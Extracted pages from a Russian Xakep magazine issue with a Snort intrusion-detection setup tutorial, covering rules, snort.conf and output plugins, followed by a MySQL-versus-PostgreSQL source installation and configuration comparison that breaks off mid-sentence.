ХАКЕР.PROСергей «grinder» Яремчук/ grinder@ua.fm /IDSна стражепериметраSnort: мощный инструмент обнаружения сетевых атакЗащита компьютерных сетей, как обычных, так и беспроводных, - тема острая и злободневная.Сегодня информацию с описаниями взломов, а также готовых программ,реализующих их, найти легко, и любой может испытать на тебе весь доступныйарсенал. Чтобы обезопасить себя от неожиданных сюрпризов, следует реализоватьзащиту в комплексе: межсетевой экран, фильтрация MAC-адресов и шифрованиетрафика. Особое место в этом списке занимают системы обнаружения атак, своевременносигнализирующие о появлении хакера. К таким средствам относится сетеваяСОА Snort — мощный инструмент с открытым исходным кодом.Возможности SnortSnort является сетевой системой обнаруженияатак (IDS) с открытым исходным кодом, котораяспособна выполнить в реальном временианализ IP-пакетов, передаваемых на контролируемыхинтерфейсах. Snort обнаруживаетатаки, комбинируя два метода: сигнатурныйи анализ протоколов.Всю собранную информацию детектор Snortпозволяет сохранить в файлах журналов, которыемогут иметь различный формат: обычныйтекстовый ASCII или бинарный, совместимыйс tcpdump. Кроме того, для удобстваанализа информацию можно занести в базуданных: Postgresql, MySQL, unixODBC и некоторыедругие.Система, построенная на Snort, способна собиратьи обрабатывать информацию с несколькихразнесенных датчиков. Все в дело в производительностикомпьютеров, используемыхв качестве сенсоров. Для того чтобы улучшитьпроизводительность, разделяя быструю работуIDS по захвату пакетов и относительно медленнуюпо занесению информации, необходимоиспользовать Barnyard, который доступен настранице закачки проекта Snort. В этом случаеSnort создает специальный двоичный выходной«унифицированный» формат, с которымв дальнейшем и работает Barnyard.Snort and WirelessSnort непосредственно не умеет работать с беспроводнымисетями 802.11, но подключенныйк такому устройству сможет интерпретироватьполученную информацию. Сегодняшний Snort,в принципе, не делает различия в том, с какимтипом сети он имеет дело, никаких специфическихопций при установке также задаватьне надо. Как обычно, указываем интерфейс '-i',и Snort начинает анализ пакетов в режиме rawmonitoring (RFMON), без привязки к специфическойсети, собирая все пакеты, попадающиесяв радиоэфире. Чтобы контролировать толькосвою сеть, необходимо соответствующимобразом настроить Wi-Fi устройство или системуфильтров. Сети IEEE 802.11 используют тривида пакетов: управления, контроля и данных.Чтобы отслеживать первые два типа, необходимодобавить в строку запуска параметр '-w'.Для более эффективной защиты можноиспользовать орудие нападения — Kismet(www.kismetwireless.net), который умеетотлично сканировать эфир, а значит, его можноприменять для поиска посторонних устройств.Анализируя данные с различных точек доступаи Wi-Fi карт в связке с Snort, можно дать отпордаже опытному хакеру.Существует специальное ответвление Snort— Snort-Wireless (snort-wireless.org), как разпредназначенное для обнаружения атак, направленныхна сети стандарта 802.11. Snort-Wirelessобратно совместим с Snort 2.0, при этом содержитнекоторые специфические правила обработкипакетов, настроенных на уязвимости и типичныеатаки беспроводных сетей. Последниеобновления датированы ноябрем 2005 года, насайте доступен патч для Snort 2.4.3 (требующийпри компиляции опции '--enable-wireless'),также имеется и уже патченая версия Snort.Функционально Snort-Wireless мало отличаетсяот Snort, дополнительно в его состав включеннабор правил wifi.rules, содержащий описаниеспецифических уязвимостей и ряд препроцессоров.В настоящее время реализовано пятьпрепроцессоров:1. AntiStumbler (spp_antistumbler) — распознаетрассылку большого количества нулевыхSSID с одного MAC-адреса, что используютNetStumbler и MacStumbler для обнаруженияточек доступа;2. DeauthFlood (spp_deauth_flood) — подсчитываетколичество кадров деаутентификациии при превышении порога поднимает тревогу;3. AuthFlood (spp_auth_flood) — определяет количествопопыток аутентификации, что можетсвидетельствовать о возможной DOS-атаке;4. MacSpoof (spp_macspoof) — отслеживаетпопытки подмены МАС-адреса;5. RogueAP (spp_rogue_ap) — его задача сообщатьо присутствии других точек доступа.В Snort таких препроцессоров нет, поэтомудля защиты беспроводной сети имеет смыслиспользовать именно Snort-Wireless.Установка SnortНа момент написания статьи актуальной былаверсия 2.6.1.2. В репозитарии Ubuntu, которыйиспользовался при написании статьи, — 2.3.3.Хотелось бы отметить, что подкаталог contrib,/ 150xàêåð 02 /98/ 07


ХАКЕР.PROВеб-интерфейс к Snort — BASEwww.snort.orgсодержащий различные дополнения к Snort,начиная с версии 2.2.0, пустует. Скрипты длясоздания баз данных переместились в подкаталогschemas, а для создания rpm-пакетов— в одноименный подкаталог. Остальные жерасширения можно найти на страницеwww.snort.org / dl / contrib. Итак, все основноесказано, можно начинать установку.Распаковываем архив:# tar -xzvf snort-2.6.1.2.tar.gzКонфигурируем. В самом простом случаескрипту не нужно передавать никаких параметров.Если же необходимо использовать базуданных, то, например, для MySQL добавляемопцию '--with-mysql'. С версии 2.3.0 RC1 в Snortвключен код проекта Snort-inline, тем самым онполучил возможность не только выявлять, нои останавливать начавшуюся атаку, перестраиваяправила iptables. И теперь Snort являетсяполноценной системой предотвращения атак.Для включения этого режима добавляем'--enable-inline'.#./ configure --with-mysql# make# make installНастройка SnortНе знаю, с чем это связано, но все каталоги,необходимые для работы Snort, до сих порприходится создавать вручную. Сюда мыбудем складывать конфигурационные файлыи правила:# mkdir / etc / snortА здесь будет вестись журнал работы:# mkdir / var / log / snortТеперь в каталог / etc / snort копируем все, чтолежит в подкаталоге etc дистрибутива:# cp -R . / etc / * / etc / snort /Далее распаковываем файл правил и помещаемих в / etc / snort / rules. В принципе, место дляправил можно выбрать любое, но так удобнее,да и считается традиционным:# tar -xzvf snortrules-snapshot-CURRENT.tar.gz# mv rules / etc / snortИграем по правиламДля описания событий, которые могут считатьсязлонамеренными или аномальными, используетсягибкий язык правил плюс модульнаясистема анализа. Сегодня существует два типаправил. Первый тип — официальные сертифицированныеи строго протестированныеSourcefire VRT Certified Rules, распространяющиесяпо лицензии VRT Certified Rules LicenseAgreement, ограничивающей их коммерческоеиспользование. Эти правила доступны в двухвариантах: для зарегистрированных и не зарегистрированныхпользователей. Регистрацияабсолютно бесплатна. Все изменения в первуюочередь распространяются среди подписчиков(subscription release с буквой «s» в названиипакета), затем становятся доступными длязарегистрированных пользователей (безбуквы «s»). Те же, кто не зарегистрировался,довольствуются статистическими правилами,обновляемыми лишь к каждому релизу Snortи, естественно, отстающими от жизни (ониимеют префикс «pr» в названии). Второй типправил называется Community Rules. Этиправила создаются добровольцами, они ещене прошли проверку и распространяются подлицензией GPL. Для загрузки Certified Rulesнеобходимо зайти на страницу Download Rules,выбрать нужное правило и изменить ссылку.Например, ссылка на VRT Certified Rules forSnort CURRENT выглядит так: www.snort.org / pub-bin / downloads.cgi / Download / vrt_os / snortrules-snapshot-CURRENT.tar.gz.Но, нажав на нее, файл не получишь. Сначала еенеобходимо привести к такому виду :www.snort.org / pub-bin /oinkmaster.cgi / код_полученный_при_регистрации / vrt_os / snortrules-snapshot-CURRENT.tar.gz.Учти, что при ошибке ввода повторная закачкабудет возможна лишь через 15 минут, такженельзя пользоваться некоторыми менеджерамизакачки.Давай рассмотрим одно правило, для тогочтобы было ясно, как они пишутся. Вдруг тебепонадобится писать их самому или захочетсяразобраться в том, что конкретно делает то илииное правило. Возьмем одно правило из файлаcommunity-smtp.rule:alert tcp!$SMTP_SERVERS any -> any 25 (msg:"COMMUNITY SMTPMytob MAIL FROM Attempt";flow: established, to_server;content:"MAIL FROM|3A|"; nocase;pcre:" / MAIL \ s+FROM\ s* \ x3A \ s* \ x3C?(spm| fcnz|www|secur| abuse)@ / i";reference: url,www.symantec.com / avcenter / venc / data / w32.mytob@mm.html; classtype: misc-attack;sid:100000689; rev:1;)Несмотря на довольно серьезный вид, правилодовольно простое, и если разобрать его почастям, то все становится на свои места. Перваястрока говорит о том, что все сообщения попротоколу TCP, направленные с любого портана порт 25 (то есть почтовый трафик), с определеннымадресом в поле отправителя принадлежатвирусу-червю W32. Mytob@mm. Ниже данкомментарий (reference), позволяющий найтиболее подробную информацию об уязвимости насайте Symantec. Некоторые правила занимаютнесколько экранов монитора. Директиваalert указывает на действия, которые долженпроизводить Snort при обнаружении пакета,попадающего под это правило. По умолчаниюxàêåð 02 /98/ 07/151


ХАКЕР.PROВеб-интерфейс к Snort — SnortConМастер настройки пакетов Ubuntu поможет настроить Snortимеется пять действий: alert, log, pass, activateи dynamic. Кроме того, в режиме inline доступныеще три: drop, reject и sdrop. Правило может бытьодносторонним ( ) и двусторонним ( ), когданаправление движения пакета роли не играет.Файл конфигурации snort.confПоследний шаг, который остается сделать,— это отредактировать конфигурационныйфайл / etc / snort / snort. conf. В дистрибутивеуже имеется готовый шаблон, поэтому с нуляего писать не придется. В файле используютсяпеременные, в том числе встречающиесяв правилах. Это довольно удобно: при сменекакого‐либо параметра затем не придетсяего переписывать несколько раз. Кроме того,некоторые опции вынесены во внешние файлы,которые подключаются директивой includeс именем файла. Все параметры снабжены комментариями,начинающимися традиционно сознака решетки. Для удобства восприятия файлразбит на шесть частей:1. установка переменных сети;2. указание динамически подгружаемыхбиблиотек;3. настройка препроцессоров;4. настройка вывода информации;5. установка дополнительных директив;6. модификация правил.Примечание: вторая и пятая секции не представляютдля нас особого интереса.Переменная HOME_NET определяет IP-адреса,которые Snort будет считать домашними.Возможно задание отдельного адреса илидиапазона. Если требуется указать несколькоадресов, то они перечисляются через запятую.Ключевое слово «any» означает любой адрес.Например:var HOME_NET 192.168.1.0 / 24var HOME_NET [10.1.1.0/ 24,192.168.1.0/ 24]Переменная EXTERNAL_NET указывает навнешние узлы. По умолчанию стоит any./ 152xàêåðМожно оставить как есть, а можно указатьболее логично, что все, не являющееся домом,будет внешним:var EXTERNAL_NET!$HOME_NETНиже в файле идет список серверов (DNS,SMTP, web, sql, telnet и snmp), используемыхв сети. Можно оставить как есть, то есть$HOME_NET, или указать конкретный IP-адрес.С другой стороны, если у нас нет web‐сервера,то и незачем отслеживать специфические длянего атаки. Поэтому лишнее можно смелоотключить.Далее задаются номера портов, используемыхсерверами. Это позволяет Snort не распылятьресурсы, а искать атаку более конкретно(прицельно). Принцип тот же: если нет Oracle,то соответствующую строку лучше закомментировать.Обрати внимание, что номер портаможет быть задан как единичный (80) и какнепрерывный (80:8080). Перечисление портовчерез запятую работать не будет (уже нескольколет обещают исправить этот момент).Поэтому если web‐сервер использует два порта,то писать необходимо так:var HTTP_PORTS 80var HTTP_PORTS 8080Препроцессоры, подключаемые в третьейсекции «Configure preprocessors», — штука довольносерьезная и в хозяйстве, как говорится,полезная, но требующая некоторого временидля того, чтобы разобраться с назначениеми особенностями работы. Обрати внимание,что некоторые препроцессоры дублируют другдруга, поэтому включать все сразу также неимеет смысла. Так, вместо Portscan и Flow-Portscan разработчики рекомендуют использоватьsfPortscan, разработанный в Sourcefireи предназначенный для тех же целей, то естьдля определения сканирования портов. Болеебыстрый в работе модуль Frag3, используемыйдля дефрагментации IP-пакетов, пришел насмену более старому Frag2. Кроме того, некоторыепрепроцессоры направлены на определениеаномалий в работе определенных сервисов.Так, X‐Link2State предназначен для определенияуязвимости в Exchange Server, а HTTPInspectизучает аномалии в http-трафике.Настройка вывода данныхВ четвертой секции «Configure output plugins»,как уже говорилось, настраиваются выходныепараметры. В общем случае строка параметровимеет такой вид:output :В настоящее время Snort может использовать10 плагинов для вывода информации (каждыйиз которых имеет дополнительные опции):1. alert_syslog — для вывода информациииспользуется демон syslog; модуль позволяетнастроить приоритеты сообщений и уровень;2. alert_fast — информация о возможной атакевыводится в указанный в качестве дополнительногопараметра файл в сокращенномформате без подробностей;3. alert_full — модуль, подходящий для небольшихсетей, так как сильно тормозит работуSnort; заголовок пакета выводится полностью;в лог‐каталоге будет создан подкаталог, по каждомуIP в который будут записываться пакеты,вызвавшие предупреждение;4. alert_unixsock — схож с предыдущим за исключениемтого, что информация в реальномвремени передается в Unix‐сокет, откуда можетбыть считана любой другой программой;5. log_tcpdump — записывает в указанныйфайл перехваченные пакеты в формате утилитыtcpdump (к имени файла будет добавлятьсяметка времени, поэтому затереть его приперезапуске не получится);6. database — модуль, позволяющий заноситьинформацию в базу данных;7. csv — вывод в файл формата csv, которыйможет быть использован для занесения02 /98/ 07


ХАКЕР.PRO >> I-TSnort в режиме захвата пакетовДержись, хакер!информации в базу данных. Кроме именифайла, необходимо перечислить параметры,которые в него заносятся;8. unified — выводит данные в специальномформате, оптимизированном для обработкивнешними утилитами, которые затем будутзаниматься регистрацией события;9. alert_prelude — доступен при конфигурированиис опцией '-– enable-prelude', в этом случаеSnort используется как датчик гибридной IDSPrelude (www.prelude-ids.org);10. log_null — в этом случае Snort способенреагировать на указанные предупреждения безрегистрации пакетов.И, наконец, в конце файла ты найдешь шестуюсекцию «Customize your rule set», в которой необходимоубрать комментарии, указывающиена файлы с правилами:include $RULE_PATH / local.rulesinclude $RULE_PATH / bad-traffic.rules…# include $RULE_PATH / multimedia.rules# include $RULE_PATH / p2p.rulesinclude $RULE_PATH / experimental.rulesНазвания правил говорят сами за себя. Оставьто, что тебе действительно нужно (хотя еслисомневаешься, лучше включи все). По умолчаниюфайл local.rules пуст, в него заносит своиправила сам пользователь.Запуск SnortПосле того как все будет готово, можнозапускать Snort. Для работы в режимеснифера Snort запускается с флагом '– v'.При этом на экран выводятся заголовкипакетов. Если же есть желание просмотретьи передаваемую информацию, используйследующую команду:# snort -vdЕсли в системе один интерфейс, то программасама разберется, с чем ей работать. В противномслучае его требуется указать c помощью '– i':# snort -vd -i eth0Можно указать на конкретную информацию,которую требуется захватить. Например,устанавливаем в качестве домашней сети192.168.1.0 и захватываем пакеты с узла192.168.1.1:# snort -h 192.168.1.0 / 24 ‐d -vhost 192.168.1.1Для регистрации пакетов в общем случаеуказываем каталог, куда следует записыватьинформацию:# snort -l . / logЕсли на выходе требуется файл в форматеtcpdump, то добавляем параметр '– b'.И, наконец, работа в режиме системы обнаруженияатак. Так как файл snort.conf уже создан,то поступаем просто:# snort -c / etc / snort / snort.confДля тестирования набираем «ping -s 65507ip_адрес». После чего, если выбран соответствующийрежим ведения журнала, в каталоге/ var / log / snort появится файл с предупреждениемо потенциально опасном пакете:[**] [1:499:3] ICMP Large ICMPPacket [**][Classification: Potentially BadTraffic] [Priority: 2]15 / 11‐18:21:2.1131991802 192.168.0.1 -> 192.168.0.20ICMP TTL:255 TOS:0x0 ID:18479IpLen:20 DgmLen:63028Type:0 Code:0 ID:512 Seq:19456 ECHOREPLY[Xref => arachnids 246]При всестороннем тестировании работы Snortследует использовать специальные утилитывроде IDSwakeup (www.hsc.fr / ressources /outils / idswakeup / download).Для автоматического запуска Snort при загрузкесистемы необходимо использовать скриптsnortd, который лежит в подкаталоге rpmдистрибутива. Копируем его в / etc / rc. d / init.d и даем команду:# chkconfig snortd onАнализаторы файлов и веб-мордыSnort создан для того, чтобы выполнять однузадачу — определение атак, и выполняет онее хорошо. Анализ файлов журналов отдан наоткуп сторонних разработчиков. Некоторыеутилиты, предназначенные для этих целей, тынайдешь на сайте проекта. Например, c помощьюPerl‐скрипта SnortALog (jeremy.chartier.free.fr / snortalog) можно отобрать необходимуюинформацию и вывести ее в удобном длячтения виде. Вот так можно вывести топ атак,сгруппированных по времени, и отослать егопо почте:# cat / var / log / snort / snort.log.1164559498 | ./ snortalog.pl-hour_attack | / usr / sbin / sendmail-f admin@domain.comТакже имеется несколько веб-интерфейсов, позволяющихпроанализировать собранную информацию:ACID (Analysis Console for IntrusionDatabases, acidlab.sf.net), BASE (Basic Analysisand Security Engine, base.secureideas.net),SnortCon (snortcon.sf.net). zxàêåð 02 /98/ 07/153


ХАКЕР.PROСергей Супрунов/ amsand@rambler.ru /Скулы на рингеСравнительное описание процесса установки и настройки двух популярных СУБДВ мире свободных программ так повелось: мы говорим «база данных» — подразумеваем мускуль». А чемнам, спрашивается, не угодила Postgre SQL, открытая (даже более открытая, чем MySQL), свободная, с мощнейшейфункциональностью? Кто-то скажет — сложная; кто-то — тяжелая; кто-то — что тормозит. Но всегдали высокая скорость — самое главное? И правда ли то, что поставить ее сложнее, чем совладатьс «дельфинчиком»? Вот в этом мы и попытаемся сегодня разобраться…ИнсталляцияДля чистоты эксперимента обе СУБД ставитьбудем из исходников. Если приложение естьв менеджере пакетов твоей системы (мнепока еще не попадались такие, где не былобы MySQL или PostgreSQL), то лучше устанавливатьоттуда. Так и с обновлениемменьше проблем, и отслеживать зависимостипроще — а то попробуй потом какому-нибудьRoundCube докажи, что СУБД у тебя ужеесть. Но поскольку «официальная» инсталляцияникаких проблем вызвать не должна (скомандовать«aptitude install mysql-server-5.0» или«portinstall postgresql-server» особого трудане составит), то мы пойдем по пути наибольшегосопротивления.Итак, разжившись архивами с исходнымкодом свежих версий (сразу бросаетсяв глаза соотношение их размеров — 24 МбMySQL 5.0.27 против 10 Мб PostgreSQL8.2.0; а еще говорят, что постгрестяжелый), потратим несколько минут на изучениеопций конфигурации, чтобы не было потоммучительно больно… Как обычно, полный списокдоступных опций можно просмотреть, введяв полученном после распаковки тарболакаталоге следующую команду:$ ./configure --helpВ случае с MySQL первое, на что следует обратитьвнимание, — это кодировка, которуюСУБД будет использовать по умолчанию.Поскольку latin1 нас вряд ли устроит, нужнобудет указать опцию '--with-charset' в соответствиис твоей кодировкой (скорее всего, это будетkoi8r, cp1251 или utf8). Если ты планируешьработать в дальнейшем с несколькими кодовымистраницами, то дополнительные кодировкиукажи в опции '--with-extra-charsets'. Чтобысебя ни в чем не ограничивать, можешь задатьсразу '--with-extra-charsets=all'.Вторая вещь, не совсем привычная дляпользователей, работавших ранее с другимиСУБД, — возможность выбрать типтаблиц. MySQL поддерживает целую вереницуразличных движков на все случаижизни: BDB, InnoDB, MyISAM, HEAP... Первыедва — Berkeley DB (разработчик — SleepycatSoftware, ныне принадлежащий Oracle)и InnoDB (опять-таки купленный Oracle) — являютсятранзакционными. Это обеспечиваетвысокую надежность работы с данными (БДне потеряет согласованность в случае возникновенияпрограммного или аппаратногосбоя, и существует возможность восстановитьили откатить незавершенные операции) и позволяетобъединять логически связанные измененияв БД в атомарные (транзакционные)блоки, фиксирующиеся в базе по принципу«все или ничего». Таблицы MyISAM не поддерживаюттранзакции, что обеспечивает имболее высокую скорость работы, но меньшуюнадежность. Таблицы HEAP размещаютсяв оперативной памяти, благодаря чему работаюточень быстро, но, естественно, несохраняют данные при сбоях. С учетом рядадругих ограничений HEAP-таблицы удобноиспользовать для временных данных, но для«нормальной» работы они мало пригодны.Если ты точно знаешь, какой тип таблиц тебенужен, то можно при сборке СУБД указать толькоих. Обычно в таких случаях рекомендуютиспользовать MyISAM там, где ради скоростиможно пожертвовать всеми данными, и InnoDBдля остальных задач.Перейдем к PostgreSQL. С языками здесь чуть проще— эта СУБД не будет напрягать тебя по поводудефолтных кодировок и т.д. Единственное, чтоможно сделать, — это указать в '--enable-nls'перечень языков, на которых система будетс тобой общаться.А вот над чем можно задуматься, так это надсписком языков программирования. Их можноиспользовать для разработки триггеров, хранимыхпроцедур и прочих прелестей. PostgreSQLподдерживает несколько языков на твой выбор— «из коробки» можно включить поддержкуPL/Tcl, PL/Perl и PL/Python, вдогонку к стандартномуPL/pgSQL; также поддерживаютсяPHP и Java.Опции '--with-krb5', '--with-pam' и '--with-ldap'позволяют включить поддержку дополнительныхспособов авторизации, что можетбыть очень полезно для работы в локальнойсети, когда требуется обеспечить предельнуюгибкость и прозрачность при работе пользователейс базой. Также подумай сразу, нужна литебе поддержка безопасных соединений/ 154xàêåð 02 /98/ 07


ХАКЕР.PROpgAdmin: до PL/SQL Developer от Oracle пока явноне дотягивает, но работать приятноinitdb: должно быть все OК('--with-openssl') и протокола автоматической настройкисети Bonjour ('--with-bonjour').По большому счету, параметры, предлагаемые по умолчанию,достаточно хороши, и если ты ставишь себе СУБД «общегоназначения», то вполне можешь ничего не менять. Толькодля MySQL лучше бы не забыть указать кодировку, чтобыпотом не удивляться, что как-то криво работает сортировкапо отечественному алфавиту.Итак, после того как ты наметил для себя, с какими параметрамиследует собирать приложения, сборка и инсталляциятрадиционны и просты:$ sudo addgroup mysql$ sudo adduser -g mysql mysql$ ./configure --prefix=/usr/local/mysql --with-charset=utf8$ make$ sudo make installВозможно, придется самую малость повозиться с зависимостями(раз уж мы пошли по пути сборки изисходников, то избежать этого трудно). Например, потребуетсябиблиотека curses (или ncurses), причем нужныбудут и заголовочные файлы, которые обычно вынесеныв отдельный dev-пакет и по умолчанию редкоустанавливаются.Для PostgreSQL:$ sudo adduser postgres$ ./configure --prefix=/usr/local/pgsql --with-python --with-perl$ make$ sudo make installЗдесь из зависимостей могут встретиться библиотекиreadline и zlib (тоже с dev-пакетами). Если PostgreSQL собираетсяс поддержкой процедурных языков PL/Perlи PL/Python (как в примере), то понадобятся также devпакетыдля Libperl и Python. Для другихопций, естественно, будут выплывать своизависимости. Главное — не забудь создать нужных дляработы пользователей и группы.С установкой на этом все, переходим к настройкам.Инициализация и настройкаИтак, установка позади. Прежде чем приступать кработе, нужно выполнить инициализацию баз, а такжесверить настройки по умолчанию со своимижеланиями. По традиции, начнем с MySQL.Для инициализации базы разработчики подготовилиспециальный скрипт mysql_install_db, который можнонайти в каталоге bin. Запускать его следует с правамиroot, чтобы он мог создать необходимые каталоги, но желательносразу указать параметр '--user', чтобы задатьпользователя, который станет владельцем созданногокаталога. Можно, конечно, потом поменять праваи вручную, но лучше сразу:$ sudo ./mysql_install_db --user=mysql --datadir=/var/db/mysqlВ конце работы этого сценария на экран будут выведеныинструкции по дальнейшим действиям. В частности, нужнобудет задать пароль пользователю root (не путай его ссистемным рутом):$ /usr/local/mysql/bin/mysqladmin -u rootpassword 'jabubntkmysq'Кстати, почитай документацию к mysqladmin — это оченьмощная утилита для администрирования СУБД. База test,с которой будем экспериментировать, создастся автоматическина этапе инициализации. Рабочие базыможно создать либо из клиента mysql командой CREATEDATABASE, либо с помощью той же mysqladmin. При необходимостисоздай пользователя (CREATE USER), и можноработать.Но прежде чем запускать сервер, желательносначала создать конфигурационный файл (по умолчанию/etc/my.cnf). Разработчики любезно заготовилинесколько шаблонов конфигурации дляразличных случаев, смотри каталог support-filesв исходниках. Шаблоны my-large.cnf, my-medium.cnfи my-small.cnf отличаются по большей частизначениями, заданными для различных влияющих напотребление памяти переменных (буферов, кэшейи т.д.). Если интересно, можно выполнитьiВечный спор «MySQLvs PostgreSQL» можнонайти практическина любом «админском»сайте. Главное— не доверяй слепопервым попавшимсяаргументам.http://www.mysql.com— сайт компанииMySQL AB;www.mysql.org— почти то жесамое, но ориентированноенасообщество;www.postgresql.org— официальный сайтСУБД PostgreSQL;www.mysql.ru — русскоязычныйсайтпочитателей MySQL;www.postgresql.ru— страница русскоязычнойдокументациипо PostgreSQL.xàêåð 02 /98/ 07/155


ХАКЕР.PROГрафические инструменты для работы с СУБДИ MySQL, и PostgreSQL не обделены средствами для более комфортной работы с СУБД. Прежде всего, следует отметитьвездесущий PHP-инструментарий: phpPgAdmin и phpMyAdmin. Также для PostgreSQL нужно выделить утилиту pgAdmin— простой, но в то же время достаточно удобный способ администрировать базу.«diff -u my-large.cnf my-small.cnf». Для небольшойдомашней машины вполнеподойдет шаблон my-small.cnf, которыйследует скопировать в /etc под именемmy.cnf. Для более крупных инсталляцийлучше просмотреть самому один из выбранныхшаблонов и подогнать параметрыпод оптимальные значения в зависимостиот объема имеющейся в наличии памяти.Если ты планируешь использовать таблицытипа InnoDB, то my.cnf нужно будет обязательноподредактировать — по умолчаниювсе, что касается этих таблиц, в немзакомментировано.Отыщи в конфигурационном файле в секции[mysqld] следующие строки, снимикомментарии и приведи в соответствие сосвоими потребностями:# Путь к каталогу, где будут размещеныInnoDB-таблицы:innodb_data_home_dir = /var/db/mysql/innodb/db/# Имя файла хранилища, его первоначальныйразмер (10 Мб)# и разрешение на автоматическоерасширение при необходимости:innodb_data_file_path =ibdata1:10M:autoextend# Каталог хранения журналов иархивов# (если есть возможность, лучшевыносить на отдельный винт):innodb_log_group_home_dir = /var/db/mysql/innodb/log/innodb_log_arch_dir = /var/db/mysql/innodb/log/# Память, отводимая под буферы(если на машине работает что-то,# кроме mysql, лучше не подниматьвыше 30-70% от объема ОЗУ):innodb_buffer_pool_size = 16Minnodb_additional_mem_pool_size= 2M# Размеры журнальных файлов (рекомендуетсядержать на уровне# 20-25% от размера буферов):innodb_log_file_size = 5Minnodb_log_buffer_size = 8Minnodb_flush_log_at_trx_commit = 1innodb_lock_wait_timeout = 50/ 156xàêåðПриведенные цифры, естественно, можноменять в зависимости от конкретной ситуации— от ресурсопотребления другихпроцессов, работающих на этой жемашине, объема памяти и т.д. Каталоги, указанныев конфигурации, должны существовать(в том смысле, что их придется создатьвручную до того, как сервер будет перезапущенс новыми параметрами) и принадлежатьпользователю mysql:$ sudo -u mysql mkdir -p /var/db/mysql/innodb/{db,log}В опции innodb_data_file_path можно указыватьнесколько файлов. При первом запускесервера после внесения изменений в конфигурациюбудет выполнена инициализацияуказанных хранилищ:$ sudo /usr/local/mysql/bin/mysqld_safe --user=mysql --datadir=/var/db/mysqlStarting mysqld daemon withdatabases from /var/db/mysqlСразу замечу, что остановить запущенныйсервер можно такой командой:$ sudo kill `sudo cat /var/db/mysql/toshiba.pid`Для удобства команды запуска и остановаможно оформить в виде стартовогосценария. Еще одна причина воспользоватьсядистрибутивной установкой — там всеэто уже сделано.Таблицы формата MyISAM будут размещатьсяв указанном каталоге «пофайлово», в то времякак таблицы InnoDB размещаются в одномили нескольких файлах-хранилищах, согласноконфигурационному файлу.В PostgreSQL поддерживается один тип хранилищаданных, поэтому все несколько проще— нужно создать каталог, где будет располагатьсяхранилище, сделать его владельцемпольз ов ателя postg res и выполнитьинициализацию:$ sudo mkdir -p /var/db/pgsql/data$ sudo chown postgres /var/db/pgsql/data$ sudo su postgres$ cd /usr/local/pgsql/bin$ ./initdb -D /var/db/pgsql/data$ exitПосле инициализации будет выведенопредупреждение, что для локальных подключенийразрешена так называемая trust-аутентификация(об этом — чуть позже), и показаныдва способа запустить сервер. В первом случае— «postgres -D /var/db/pgsql/data» — серверзапустится в интерактивном режиме, то естьинформация о его работе будет отображатьсяв окне терминала, а при закрытии терминаласервер будет остановлен. Безусловно, работающийпроцесс всегда можно перевести в фоновыйрежим, либо сразу указав символ «&» послекоманды, либо в дальнейшем приостановивего работу комбинацией клавиш и затемвозобновив в фоне с помощью утилиты bg:$ sudo -u postgres ./postgres -D/var/db/pgsql/dataLOG: database system was shutdown at 2006-12-16 13:58:54 MSK...LOG: database system is ready// здесь нажали [1]+ Stopped sudo -u postgres ./postgres -D /var/db/pgsql/data$ bg[1]+ sudo -u postgres ./postgres -D/var/db/pgsql/data &Управление сервером с помощью pg_ctl, намой взгляд, более удобно, и в этом случаесервер будет сразу запущен как фоновыйпроцесс. Только нужно не забывать, чтообе команды должны быть выполнены отимени пользователя postgres. В приведенномвыше примере это выполняется с помощьюутилиты sudo. Если запуск сервера прошел безошибок, значит, для работы все готово.А если возникнут какие-либо проблемы, тоони достаточно подробно будут расписаныв сообщениях, выводимых на экран илив лог. Чаще всего они бывают связаны с правамидоступа: либо не того пользователясделали владельцем хранилища, либо отимени неправильного пользователя запускается02 /98/ 07


ХАКЕР.PROmysql_install_db: читаем все внимательноphpMyAdmin: все, что нужно для комфортной работы, — браузери кусочек Апачасервер. Но перед началом работы хорошо быпосмотреть, а что же у нас творится в настройках.Конфигурация PostgreSQL запрятанав каталоге хранилища, которое создаетсяво время инициализации. В нашем случаеэто будут файлы postg resql.conf,pg_hba.conf и pg_ident.conf в каталоге/var/db/pgsql/data. В первом из нихсосредоточены основные опции, управляющиеработой сервера. По умолчанию ониработают достаточно хорошо, но в случаепроблем с производительностью имеет смыслпопробовать их подкрутить под конкретныеусловия. Оставшиеся два файла отвечают задоступ к серверу. Они снабжены предельноподробными комментариями, так что разобратьсяс ними не составит труда. Кстати, предупреждениео trust-аутентификации, полученноепри инициализации базы, связано соследующими строками в pg_hba.conf:# "local" is for Unix domain socketconnections onlylocal all all trust# IPv4 local connections:host all all 127.0.0.1/32 trust# IPv6 local connections:host all all ::1/128 trustОни означают, что любой локальныйпользователь, подключающийся к любойбазе, сможет соединяться с сервером безуказания пароля. В некоторых дистрибутивахвместо второго all (означающего «всепользователи») ставят более жесткое ограничение— sameuser, при котором пользовательможет подключиться к базе только в томслучае, если его имя в PostgreSQL совпадаетс системным именем. Если тебе нужен доступк БД «снаружи», добавь соответствующиестроки. Например, так можно разрешитьдоступ к серверу всем пользователям к базеcommon из указанной подсети с аутентификациейчерез PAM или LDAP (поддержка соответствующихтипов аутентификации должнабыть добавлена на этапе компиляции):host commonall 10.0.0.0/8 pam,ldapОтрегулировав права, можно подключатьсяк базе template1 (она создается при инициализациии служит шаблоном для всех создаваемыхвпоследствии баз, если явно не указанабаза-«родитель»):$ bin/psql -U postgres template1template1=# create user test;CREATE ROLEtemplate1=# create database testowner test;CREATE DATABASEtemplate1=# \c test testYou are now connected to database«test» as user «test».test=> create table test (fnumnumeric, fstr varchar);CREATE TABLEtest=> \qЗдесь мы создали пользователя test и одноименнуюбазу для экспериментов. Раз всеполучилось, значит, установка прошла безэксцессов.Кое-что про функциональностьК сожалению, рамки этой статьи не позволяютподробно остановиться на работес базами, но это, как говорится, уже делотехники. Пару слов скажу о возможностях,которые предоставляют эти СУБД.Начиная с версии 5.0, функциональныевозможности MySQL существеннорасширились: появилась поддержкатриггеров, хранимых процедур, представлений(view), курсоров. Поддержканескольких типов таблиц позволяет гибколавировать между надежностью и скоростью.В общем, MySQL сейчас вплотнуюприближается по своим возможностямк таким «монстрам», как Oracle, DB2 иMS SQL, хотя на данном этапе ей пока недостаетзрелости.А что же PostgreSQL? Все перечисленные вышефункциональные возможности в ней былидавно, и их можно считать вполне зрелымии проверенными временем. Огромнымплюсом, на мой взгляд, является возможностьиспользования различных языков для разработки«серверной логики».К тому же PostgreSQL всегда славилась своейподдержкой стандартов — в отличие отдругих СУБД, включая MySQL, в PostgreSQLстандарты SQL-92 и SQL-99 поддерживаютсянаиболее полно и последовательно, в последнихверсиях появилась частичнаяподдержка SQL-2003. Хотя, как 